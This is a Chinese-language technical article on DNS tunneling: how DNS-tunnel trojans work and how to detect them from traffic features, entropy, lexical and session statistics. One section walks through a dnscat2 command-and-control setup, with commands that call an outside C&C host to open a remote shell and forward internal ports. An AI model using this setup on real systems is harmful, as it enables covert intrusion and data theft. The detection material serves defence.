1. DNS隧道簡介
DNS隧道技術是指利用 DNS協議建立隱蔽信 道,實現隱蔽資料傳輸。最早是在2004年 DanKaminsky 在 Defcon大會上釋出的基於 NSTX 的 DNS隱蔽 隧道工具，相關連結。
之後出現了越來越多的DNS隱蔽通道工具，例如
1. iodine: https://github.com/yarrick/iodine This is a piece of software that lets you tunnel IPv4 data through a DNS server. This can be usable in different situations where internet access is firewalled, but DNS queries are allowed. 2. Dns2tcp: https://www.aldeid.com/wiki/Dns2tcp Dns2tcp is a tool for relaying TCP connections over DNS. Among other things, it can be used to bypass captive portals (e.g. hotels, airport, ...) when only port 53/udp is allowed by the firewall. 3. tcp-over-dns: http://analogbit.com/software/tcp-over-dns/ tcp-over-dns contains a special dns server and a special dns client. The client and server work in tandem to provide a TCP (and now UDP too!) tunnel through the standard DNS protocol. 4. Heyoka: http://heyoka.sourceforge.net/ Heyoka is a Proof of Concept of an exfiltration tool which uses spoofed DNS requests to create a bidirectional tunnel. It aims to achieve both performance and stealth 5. Dnscat: https://wiki.skullsecurity.org/Dnscat dnscat is designed in the spirit of netcat, allowing two hosts over the Internet to talk to each other. The major difference between dnscat and netcat, however, is that dnscat routes all traffic through the local (or a chosen) DNS server
DNS隧道思想可以被用來進行繞過上網登入認證，實現免費上網。同時這種“one protocol over the other protocol”的隧道思想還可以被惡意軟體用來進行隱蔽通訊。
DNS隧道木馬帶來的威脅很大,而且 DNS隧 道木馬難以得到有效的監控.一方面是因為 DNS報 文具有天然的穿透防火牆的能力;另一方面,目前的 防毒軟體、IDS等安全策略很少對 DNS報文進行有 效的監控管理。
DNS的記錄型別有很多，大家常見的有A，AAAA,CNAME,MX,SOA,NS等。DNS Tunneling可以利用其中的一些記錄型別來傳輸資料。例如A，MX，CNAME,TXT，NULL等。
0x1：DNS隧道木馬分類
根據木馬工作原理的不同,將 DNS隧道木馬細 分為IP直連型和域名型.
1. IP直連型 DNS隧道木馬
如果 DNS隧道木馬的伺服器可以與本地主機通過IP直接通訊，傳輸協議採用 DNS協議，則稱為 IP直連型 DNS隧道木馬。
IP直連型 DNS隧道木馬的伺服器端開放53埠，被控端利用 UDPsocket 套接字直接與C&C服務建立連線。在這種情況下，兩者傳輸的內容實際上是基於 UDP服務。
這種木馬與傳統 UDP 木馬的最大不同點就是
1. 利用53埠進行傳輸互動資料，而53埠的外聯基本上在所有機器上都必須開放，否則則無法使用網際網路DNS服務； 2. 精心構造傳輸的載荷內容，使其至少從格式上是符合DNS query包格式，因為如果攻擊者構造的UDP載荷內容不符合DNS報文格式，在 wireshark等流量分析工具的流量解析下，很容易出現 DNS報文異常的情況；
2. 域名型 DNS隧道木馬 - DNS迭代查詢中繼隧道
域名型 DNS隧道木馬基本通訊架構如下圖所示
1. 被控端把要傳輸的內容封裝（protocol wrap）在dns query請求包中，發起一次正常的dns解析請求； 2. 當被控端向任意一臺DNS伺服器請求該域名下的子域名時，本地 DNS伺服器無論是通過遞迴查詢還是迭代查詢，都會向外轉發這個DNS請求，最終這個DNS請求都會被送到黑客控制的權威NS伺服器中（這意味著黑客必須事先配置好NS以及A記錄解析）； 3. NS伺服器控制端解析請求報文，得到被控端傳來的資訊，然後將攻擊控制命令通過封裝在DNS響應報文中； 4. 從而實現雙方通訊，所有的通訊都必須由被控端（client端）主動發起，不斷回傳資料並接受新指令。
中繼過程中的一個關鍵點是對DNS快取機制的規避，因為如果需要解析的域名在Local DNS Server中已經有快取時，Local DNS Server就不會轉發資料包。所以在我們構造的請求中，每次查詢的域名都是不一樣的或者是已經是過期的。這個特徵同時也包含了一個可用於檢測的規律，即在DNS tunnel的會話中，dns query host的數量會比正常情況下要多，
對DNS載荷的編碼是DNS Tunneling的另一個核心技術。從高層來看，載荷只是客戶端和伺服器通訊的正常流量。
例如客戶端傳送一個A記錄請求給伺服器，查詢的主機名為2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com,其中2roAUwBaCGRuc3R1bm5lbGluZwo則是客戶端傳遞給伺服器的資訊，這串字元解碼後的資訊便是dnstunneling。
最後，因為大多數場景下，內網的Client位於防火牆後，Server不可能發起連線。所以大多數工具，Client會定時向Server傳送請求，保證二者之間的通訊狀態。
3. IP直連型和域名解析型異同點
這2種方法雖然工作原理上存在差別，但是從流量角度上來看都是基於DNS協議，但是這裡在實際工程中也要注意，你旁路採集的方式可能會影響到你最終能否採集到完整的通訊日誌，例如如果你是採用記錄dns解析的方法，則可能會漏過udp ip直連的這種通訊方式，如果直接在閘道器上進行“埠和協議解析”則可以保證全流量採集。
IP直連型 DNS隧道木馬直接與 DNS 伺服器通過 UDPsocket通訊，因此通訊效率要比 域名型 DNS隧道木馬高，但是這種 DNS隧道木馬 致命的弱點是直接把IP暴露在網路流量中，如果客 戶端指定信任的 DNS伺服器解析 DNS服務，那麼 IP直連型 DNS隧道木馬就很容易被IP 黑白名單 封殺；
對於域名型 DNS隧道木馬而言，只要客戶機 能與任意一臺外網的 DNS伺服器通訊，那麼域名型DNS隧道木馬就可以工作，因此域名型 DNS隧道木 馬生存能力更強，隱蔽性更高，更適合進行隱蔽的控 制滲透任務。
2. Powershell+dnscat2實現DNS隱蔽隧道反彈Shell
0x1：C&C域名繫結
需要配置A記錄解析以及NS記錄
# NS記錄: 配置一個ns主機記錄，並將其指向我們自己的A記錄，這樣，受控端在發起dns query請求的時候，會直接指定“dnsch.alihacker.xin”作為dns ns server，然後通過A記錄解析到我們的C&C伺服器上，我們在C&C伺服器上監聽53埠的ruby程式才能獲取到dns query全文 dnsch.alihacker.xin -> ns.alihacker.xin # 受控端的DNS C&C即為: dnsch.alihacker.xin # A記錄: 將某個dns host解析到C&C IP ns.alihacker.xin -> 120.26.56.250
0x2：在C&C伺服器上安裝DNS C&C Server
dnscat2這裡充當的角色是接受目標53埠的dns協議query解析請求，並構造response包返回。
安裝過程如下：
apt-get update apt-get -y install ruby-dev git make g++ gem install bundler git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server #修改Gemfile source 'https://ruby.taobao.org/' bundle install
啟動server端：
# 如果沒有域名的話，直接在外網VPS執行: ruby ./dnscat2.rb -e open -c dnschcirrus --no-cache # 如果配置好了DNS的解析: # -e引數可以規定安全級別，open代表讓客戶端進行選擇 # -c引數定義了pre-shared secret，在伺服器端和客戶端使用相同加密的祕密dnschcirrus，可以防止man-in-the-middle攻擊，否則傳輸資料並未加密，有可能被監聽網路流量的第三方還原。命令列中，如果不加定義，dnscat2 server會生成一個字串，記得拷貝下來在啟動客戶端時使用。 # --no-cache，如果使用powershell客戶端請務必在執行伺服器時新增無快取選項，因為powershell-dnscat2客戶端與dnscat2伺服器的caching模式不相容 ruby ./dnscat2.rb yourdomain -e open -c dnschcirrus --no-cache ruby ./dnscat2.rb dnsch.alihacker.xin -e open -c dnschcirrus --no-cache
0x3：部署客戶端dnscat2 client
dnscat2有exe版本以及powershell版本，相比之下，powershell的不落盤特性更好。本質上程式碼邏輯是一樣的。
# pre-share secret要保持一致 ./dnscat --dns=server=120.26.56.250 --secret=dnschcirrus ./dnscat --dns=server=dnsch.alihacker.xin --secret=dnschcirru # 如果是採用dns解析方式上線 ./dnscat xiaohantest.blankwater.cc --secret=dnschcirrus
0x4：連線建立後，C&C控制端可以執行指令
1. 獲取shell
# 切換到session 1，session 1是新連線上來的dnscat client session -i 1 # 通過help可以看到支援的命令 help # 新生成一個session shell # 通過session -i 2 切過去，此時獲得的shell就是cmdshell session -i 2
2. 埠轉發
session -i id listen 4444 10.211.55.19:22 #將內網10.211.55.19的22埠轉發到本地的4444
然後直接ssh本地的ip的4444埠
0x5：wireshark抓包分析
1. UDP直連模式
可以看到，dnscat通過dns協議的query請求，封裝了加密後的指令執行結果。
同時還注意到，所有dns包的udp五元組都是相同的，受控端和C&C複用了同一個udp會話進行dns隧道通訊，我們可以基於這個特點對dns的日誌進行udp五元組的聚類，在udp五元組會話的基礎上進行特徵工程。
2. 域名解析模型
我們注意到，主要使用了CNAME、MX、以及TXT記錄的查詢。
Relevant Link:
https://mp.weixin.qq.com/s/5mDhzuGC2WEc8bdIjRg94w http://www.91ri.org/16386.html
3. 可用於DNS tunnel的檢測思路 - 基於UDP DNS會話
0x1：DNS query type成分組成異常檢測
1. DNS Tunnel
很多DNS Tunneling使用TXT記錄型別傳送請求和響應（例如檔案上傳等大資料量功能），而在正常的DNS網路流量中，TXT記錄的比例可能只有1%-2%，如果時間視窗內，TXT記錄的比例激增，那麼也意味著可能存在異常。
2. DNS FF Botnet
另外，在FF Botnet中，NXDOMAIN的比例也會比正常情況下要高。
3. DNS Query types Numbers
the DNS querying of the botnet is mainly to find the IP address of the C&C, then the number of querying types are limited and the four main query types are A, AAAA, MX and NS. However, the types of benign name querying are more than those, which may additionally include ANY, TXT, SRV, SOA, CNAME, A6 and so on.
統計一個session會話中的dns type數量
Relevant Link:
https://en.wikipedia.org/wiki/List_of_DNS_record_types
0x2：基於Zipf定律的異常檢測 - Frequency Analysis
在Detecting DNS Tunnels Using Character Frequency Analysis論文中，證明了還可以通過詞頻的檢測識別DNS Tunneling的流量。
根據Zipf定律，在自然語言的語料庫裡，詞頻往往會集中於某些小子集中，並且高頻詞到低頻次的頻率逐漸下降。
而在這篇論文中，證明了DNS Tunneling中由於域名做了編碼，不符合Zipf定律（例如dns2tcp），整個分佈趨於平穩。
我們可以通過檢測排序後的詞頻平均斜率來檢測inputstring是否符合zipf law規律。
# -*- coding:utf-8 -*- from operator import itemgetter if __name__ == '__main__': dns_query_buf = 'dnscat.0569013e35bca63ff4bbb7012746468a8ddd1e264925a8a35a8236706a81.5b1ee76326594ced6a8822da3090f057e588c2df2d804f3fb04ad9c42d7b.5a15272d5b32f858f8301d7da834e170aa725d57926317c0dd70b01975bb.37ee8c892b5c1b16e3d41d79466d2ba' frequency = {} # uni char frequency count for word in dns_query_buf: count = frequency.get(word, 0) frequency[word] = count + 1 # calculate the mean cumulative slope(平均累積斜率) last_cn = None cumulative_slope = 0 for k, v in reversed(sorted(frequency.items(), key=itemgetter(1))): if not last_cn: # init start last_cn = v continue cumulative_slope += (v - last_cn) cumulative_slope = cumulative_slope / len(frequency) print "cumulative_slope: ", cumulative_slope
Relevant Link:
https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.zipf.html https://code.tutsplus.com/tutorials/how-to-use-python-to-find-the-zipf-distribution-of-a-text-file--cms-26502 https://arxiv.org/pdf/1004.4358.pdf https://stackoverflow.com/questions/43601074/zipf-distribution-how-do-i-measure-zipf-distribution-using-python-numpy https://cloud.tencent.com/developer/article/1040276
0x3：DNS query/answer文字特徵
1. n-gram文字特徵
通過2-gram/3-gram提取惡意dns query的文字特徵，參與訓練。
2. 基於CNN深度神經網路，從文字角度判斷單條DNS query是否存在可疑Tunnel特徵
3. Query/Answer長度特徵
, AVG(LENGTH(query_name)) AS queryname_avg -- Query Length Average , MAX(LENGTH(query_name)) AS queryname_max -- Longest/Shortest Meaningful Word Length Average , MIN(LENGTH(query_name)) AS queryname_min -- 13. Answer長度特徵 , AVG(LENGTH(anwser_name)) AS answername_avg -- Answer Length Average , MAX(LENGTH(anwser_name)) AS answername_max -- Longest/Shortest Meaningful Word Length Average , MIN(LENGTH(anwser_name)) AS answername_min
普遍來說：
dns tunnel工具產生的dns query會比較長，因為要附帶client的資訊回傳；
dns answer會比較短，因為只要傳輸指令，甚至指令action code即可
Relevant Link:
https://github.com/BoneLee/dns_tunnel_dectect_with_CNN
http://www.freebuf.com/articles/network/158163.html
0x4：基於會話聚類維度的DNS tunnel行為特徵
在網路通訊中，由【源IP地址、源埠、傳輸層協議、目的IP地址、目的埠】這5個量組成的一個集合，稱之為五元組，任意一個資料包都可以將其表示為五元組。五元組能夠區分不同會話，並且對應的會話是唯一的。
研究單個DNS報文並不能從時間區間維度刻畫出完整的DNS隧道木馬的行為，我們可以通過對五元組進行歸併聚類，從DNS會話的角度分析隧道木馬流量。
其依據是DNS隧道木馬在通訊過程中通訊雙方所扮演的角色和通訊模式與正常DNS解析行為具有顯著的差異性（資料中包含一定的規律）
1. DNS會話時長
TCP會話在建立通訊過程中存在“三次握手”和斷開連線的“四次握手”行為，因此TCP會話可以計算會話時長。
DNS會話屬於 UDP 會話的其中一種，由於UDP無連線的特性，DNS沒有會話時長的嚴格定義。定義在一次DNS會話中，最後一個DNS報文的時間和第一個DNS報文的時間差就作為這個 DNS會話的時長。
正常情況下，一次DNS解析過程首先由客戶機在本地隨機開啟一個 UDP 埠，然後向指定的DNS伺服器53埠傳送DNS請求報文，兩者由此建立一個 UDP通道。客戶機一旦得到相應DNS回覆報文，這個 DNS解析過程就結束了，如果沒有後繼的DNS解析任務，建立的 UDP套接字會儲存一段時間然後關閉，完成一次 DNS 會話，再次進行DNS解析的時候，再隨機開啟另一個UDP埠，重複上述過程。因此，正常域名解析DNS會話的時間短；
對於DNS隧道木馬而言，建立的 UDP 套接字 通常會等到木馬下線或者木馬生命結束才關閉，UDP套接字會被複用，導致 DNS 隧道木馬的 DNS 會話時長遠大於正常DNS會話時長。
2. DNS會話中資料包總數
因為DNS隧道木馬的會話一般隨著木馬生命週期的結束而結束，在整個木馬的生命週期裡會向外傳送心跳報文、傳輸本機敏感資訊、資原始檔等，控制端會下達相關的遠端控制指令等。所以在 DNS 隧道木馬會話中 DNS報文數量大。
然而，正常客戶端產生的DNS會話隨著一次DNS解析任務結束而結束，DNS會話比較簡短。大多數情況是2個，由1個DNS請求報文和1個DNS響應報文組成。
3. “上行大包”佔請求報文總數的比例
在DNS請求報文中，如果queries欄位位元組數大於50，那麼定義該DNS請求報文為上行大包。
DNS隧道木馬被控端把要傳輸的內容封裝在queries欄位的域名中，DNS隧道木馬為了在一次傳輸過程中攜帶儘可能多的隱蔽資訊，往往造成queries欄位中的域名長度偏長。
與正常DNS會話相比，DNS隧道木馬會話中“上行大包”佔請求報文總數的比例較大。
另一方面，如果攻擊者為規避檢測，強制split拆分構造相對短小的域名，從而減少每次傳送的報文攜帶的隱蔽通訊內容。當被控端傳送某一固定的敏感資原始檔，由於傳送的資原始檔大小是固定的,如果犧牲一次攜帶的隱蔽資訊的內容，勢必造成整個DNS會話的DNS報文總數的增加。
可知,在一次 DNS隧道木馬的會話中，DNS報文總數和DNS報文長度是負相關的。因此我們基於該規律構造一個人工複合特徵，即 DNS報文總數 * 平均報文長度 = 總的報文length。
4. “下行小包”佔響應報總數的比例
DNS隧道木馬在互動過程中，控制端傳送的控制命令一般有特定含義，且短小精簡，因此DNS隧道回覆報文一般是“下行小包”。
對於正常本機DNS解析請求而言，客戶機是資源請求者，DNS伺服器返回的資料除了answers欄位外，還經常返回授權和額外資訊欄位資訊，因此正常的 DNS響應報文相對較大。
我們定義如下：將 DNS應答報文中answers欄位位元組數小於50的資料包稱為“下行小包”。
5. 有效載荷的上傳下載比
DNS會話報文中的有效載荷是指DNS報文中除去DNS報文頭部剩下的queries欄位和answers欄位、授權和額外資訊欄位的內容。
DNS隧道木馬在和控制端互動通訊時，DNS隧道木馬控制端向被控端傳送少量的控制命令，被控端需要回傳大量的本機敏感資原始檔資料。
然而，正常DNS解析情況剛好相反，客戶端DNS請求報文通常短小，而DNS伺服器返回的資料資訊比較多。因此DNS隧道木馬會話的上傳下載比例比一般正常的DNS會話大。
6. 有效載荷部分是否加密
DNS協議是一種明文傳輸協議，DNS隧道木馬出於提高通訊內容隱蔽性的需要，往往會對通訊資料進行加密，因此把加密的DNS資料作為可疑的DNS隧道木馬通訊的一個特徵。為了提高特徵工程速度，我們可以使用資訊熵作為是否存在加密的衡量標準。
7. 域名對應的主機名數量
對於DNS隧道木馬而言，控制端要不斷藉助DNS qury的query_name來承載要傳輸的內容，所以從主機數量這個維度來看，在一個DNS tunnel會話中，域名對應的主機名數量會明顯大於正常的DNS通訊。
8. FQDN數異常檢測
可以通過分析一定時間視窗內所產生的FQDN數，通常DNS Tunneling的FQDN數在一定時間視窗內會遠高於正常的DNS流量。
9. 總的query 報文Payload載荷量
0x5：響應時間相關特徵
1. Response wait time特徵
正常的dns server會在較短時間內完成dns響應，而dns tunnel server由於需要進行資料的解碼以及後續處理邏輯，響應時間會稍微較長
0x6：資訊熵
可以通過計算query和answer或者它們的平均的資訊熵進行特徵化dns tunnel是否可能存在
0x7：發包頻率行為
在實際的線上環境中，存在一些DNS Flood攻擊行為，這部分攻擊觸發的行為日誌很容易命中到DNS Tunnel模型，例如：
BQGGMMPCHJPKPBKCHDKJNPQFCMFCHIKONEPKCBEHHNKDMJPPBGEMHCJIMOOEBLE.BGHJNMDOJBQDGGMJCMIQOFFJLLBOHBODEGKIQLGOMQCDJGPIF.ns2.diaozhatian.me
JLMBOHPCDFDIOLFFHDKJNPQFCMFCHIKONEPKCBEHHNKDMJPPBGEMHCJIMOOEBLE.BGHJNMDOJBQDGGMJCMIQOFFJLLBOHBODEGKIQLGOMQCDJGPIF.ns2.diaozhatian.me
對於這種情況，我們需要將所有DNS會話包之前的間隔統計出來，計算它們的均值/方差等特徵
Relevant Link:
《基於通訊行為分析的DNS隧道木馬檢測方法》pdf https://arxiv.org/pdf/1709.08395.pdf http://www.cnblogs.com/wuyuxiang/p/5166653.html https://www.hindawi.com/journals/scn/2018/6137098/
4. 可用於DNS tunnel的檢測思路 - 基於DNS QUERY維度
0x1：Network Features - 網路訪問行為方面的特徵
1. 域名被訪問頻率角度特徵
除了從單臺主機上的異常dns session維度進行異常檢測，還可以從dns query name的角度進行惡意dns name進行惡意檢測與打標。
1. Rare domains: Domain names of CnC servers are rare since they are seldom requested by legitimate users. 2. Young domains: When a domain generation algorithm (DGA) is used the CnC server frequently acquires new domain names hence they tend to be recently registered. We use a massive daily updated data feed to map domain names to their registration date 3. Non-existent domain responses: When DGA is used, Botnets query many non-existing domains before they find the actual domain of their CnC server for that time
2. TTL (last seen - first seen)
The majority of the legitimate websites that provide high availability services uses TTL values between 600 and 3,600 seconds . On the other hand, malicious domain names tend to have smaller TTL values. In addition, Dynamic DNS providers frequently used to host domains related to malicious activity also use low TTL values
group by後計算
last seen - first seen
不用用原生的ttl
3. window
Malicious domain names used in botnets FF networks typically do not have a fixed set of machines. Over time, botnets will acquire new bots which will be introduced in the flux and certain bots might eventually be cleaned or disassociated from the botnet.
計算同一個dns name的answer的distinct數量
4. dns name change frequency
Legitimate domains that have load balancing due to the amount of traffic received, often do so by having multiple hosts associated to each domain name. Such is the case for CDNs. On the other hand, botmasters do not want to attract attention to the generated CnC traffic, as a consequence they often cycle the IP addresses associated to the CnC servers. In addition, the number of different TTL values can be used to identify malicious domains due to the fact that malicious domains might exhibit several changes, while one could expect benign domains to remain rather unchanged
With these three features we expect to measure how a domain changes over time.
F23 number of different answers
F24 number of different values of TTL
F25-27
1. Maximum TTL
2. Mean TTL
3. Variance of TTL
0x2：Lexical Features
Lexical特徵的原理是：
The rationale behind this set of features is related to the fact that many malicious domain names look like randomly generated (particularly in the case of DGAs) and often tend to look different [28]. Furthermore, legitimate domain names are typically user friendly, composed of native words and easy to remember. On the other hand, malicious domain names are not intended for human use so do not share such characteristics.
惡意DNS域名傾向於表現為類似隨機字串，而正常的DNS域名常常是可讀友好的、由簡單詞彙組成、易於記憶的。
1. 域名本身詞頻特徵層面特徵
詞頻特徵將通過[1,4]-gram的詞頻特徵得以體現
針對每條dns name（一次dns query/answer互動），我們可以將其抽象為下列的詞頻特徵向量：
F1-3 1-gram 1. mean 2. variance 3. standard deviation 4. range(極差) F4-6 2-gram 1. mean 2. variance 3. standard deviation 4. range(極差) F7-9 3-gram 1. mean 2. variance 3. standard deviation 4. range(極差) F10-12 4-gram 1. mean 2. variance 3. standard deviation 4. range(極差)
2. 域名的香儂熵
calc_entropy(query_name) AS query_name_entropy
香儂熵體現了字串詞頻混亂度的一種體現。詞頻分佈越平均（越混亂），香儂熵越大。
3. 字元分佈特徵 -可讀性/易讀性方面的體現
F15 Number of different characters F16 Number of digits / domain name length F17 Number of consonants / domain name length F18 Number of consonants / number of vowels
一般來說，一個易讀、容易記憶的域名中，母音、子音、數字的佔比會呈現出一定的規律，而類似DGA那種隨機化的域名則不滿足該規律。
0x3：DNS session會話相關特徵
1. Number of IP subnetworks
While corporate domains tend to allocate their machines within the same subnetwork or a small finite set of subnetworks, botnets harvests their bots from different locations, often randomly. As such, one can expect that domains used for FF, and associated with botnet activity, will have answers that belong to several different IP subnetworks
F34-36 1. A類CIDER地址數量 2. B類CIDER地址數量 3. C類CIDER地址數量
2. DNS對應的src_ip/dst_ip count相關特徵
APT attackers usually use servers residing in different countries to build C&C channel in order to evade detection. Moreover, attackers make use of fast flux to hide the true attack source. APT attacker changes the C&C domain to point to predefined IP addresses, such as look back address and invalid IP address. With this insight, we extracted three features from DNS request and response, such as the number of distinct source IP addresses, the number of distinct IP addresses with the same domain, IP in the same country, and using the predefined IP addresses.
統計該dns name對應的session五元組的dst_ip/dst_port的數量 - 揭示FF bot特徵
還可以加上A/B/C cider數量的統計
The botnet domains are only known to the bots, who will try to query them according to the botnet program. Therefore, the sources of the query messages are restricted to the areas where the bots exist.
統計該dns name對應的session五元組的src_ip/src_port的數量 - 揭示該dns name只被有限的botnet victim所訪問
還可以加上A/B/C cider數量的統計
3. DNS query type組成成分相關特徵
the DNS querying of the botnet is mainly to find the IP address of the C&C, then the number of querying types are limited and the four main query types are A, AAAA, MX and NS. However, the types of benign name querying are more than those, which may additionally include ANY, TXT, SRV, SOA, CNAME, A6 and so on.
統計一個session會話中的dns type數量
0x4：DNS域名相關meta資訊
1. whois-based features
Registration duration
Active duration
Update duration
Number of DNS
Relevant Link:
https://azure.microsoft.com/zh-cn/blog/large-scale-analysis-of-dns-query-logs-reveals-botnets-in-the-cloud/ Botnet Detection Using Passive DNS Master Thesis Pedro Marques da Luz z-thesis_pedroluz.pdf https://www.certsi.es/en/blog/botnet-detection-dns https://ieeexplore.ieee.org/document/7453917/ https://sci-hub.tw/https://ieeexplore.ieee.org/document/7453917/
5. 異常資料清洗
在進行模型預測之前，我們需要先對原始資料進行清洗，避免大量的正常日誌資料進入預測，降低召回率和精確度。
0x1：基線異常過濾思路
將一臺主機上歷史（例如7天）未曾出現過的DNS query看成是基線異常，而對那部分一直在出現或者曾經發生過的query請求進行過濾。
0x2：無監督異常abnormal檢測演算法
使用例如one-class svm異常檢測演算法從原始資料中篩選出一批明顯區別於正常dns query請求。